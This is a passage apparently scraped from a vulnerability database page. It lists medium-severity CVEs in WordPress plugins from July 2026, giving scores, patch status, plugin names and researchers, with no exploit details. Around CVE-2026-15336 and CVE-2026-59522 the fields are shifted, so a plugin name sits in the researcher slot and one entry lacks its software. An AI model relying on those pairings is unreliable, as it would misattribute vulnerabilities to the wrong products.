5.3 (Medium)

CVE-ID

CVE-2026-11802

Patch Status

Patched

Published
Jul 13, 2026

Affected Software

FoodBook Lite – Online Food Ordering System [foodbook-light-online-food-ordering-system]

Researcher

Eason

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61943

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Premium Packages – Sell Digital Products Securely [wpdm-premium-packages]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15106

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, AI Services [chatbot]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-14782

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

F0DH1L

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15457

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15445

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

SEO Booster [seo-booster]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15458

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

SEO Booster [seo-booster]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15727

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

WP Bulk Delete [wp-bulk-delete]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15651

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

WP TripAdvisor Review Slider [wp-tripadvisor-review-slider]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-13005

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

MxChat – AI Chatbot & Content Generation for WordPress [mxchat-basic]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-15324

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

SysBasics Customize My Account for WooCommerce – Live My Account Customizer [customize-my-account-for-woocommerce]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-9341

Patch Status

Patched

Published
Jul 13, 2026

Affected Software

Academy LMS [academy]

Researcher

sorawautsukushiii

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15336

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Catch Themes Demo Import [catch-themes-demo-import]

Researcher

ERP: Complete HR, Accounting & CRM Suite Built for WooCommerce [erp]

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-59522

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Researcher(s): Unknown

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15349

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

ERP: Complete HR, Accounting & CRM Suite Built for WooCommerce [erp]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-9656

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

HubSpot All-In-One Marketing – Forms, Popups, Live Chat [leadin]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-12409

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Landing Page Builder – Coming Soon page, Maintenance Mode, Lead Page, WordPress Landing Pages [page-builder-add]

Researcher

M.Fahad Khan

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-12434

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

List category posts [list-category-posts]

Researchers

Salih Utku Telis

Niyht

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15159

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Ninja Forms – Excel Export [ninja-forms-excel-export]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15160

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Ninja Forms – Excel Export [ninja-forms-excel-export]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-61945

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Notifima – WooCommerce Stock Manager, Inventory Management, Waitlist [woocommerce-product-stock-alert]

Researcher

Jakub Herman

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-12385

Patch Status

Patched

Published
Jul 13, 2026

Affected Software

Smart Slider 3 [smart-slider-3]

Researcher

Yuvraj Tomar

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15350

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

The Cache Purger [the-cache-purger]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15407

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Themify Builder [themify-builder]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-9734

Patch Status

Unpatched

Published
Jul 17, 2026

Affected Software

W3SC Elementor to Zoho CRM [w3sc-elementor-to-zoho]

Researcher

swat

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15610

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, AI Services [chatbot]

Researcher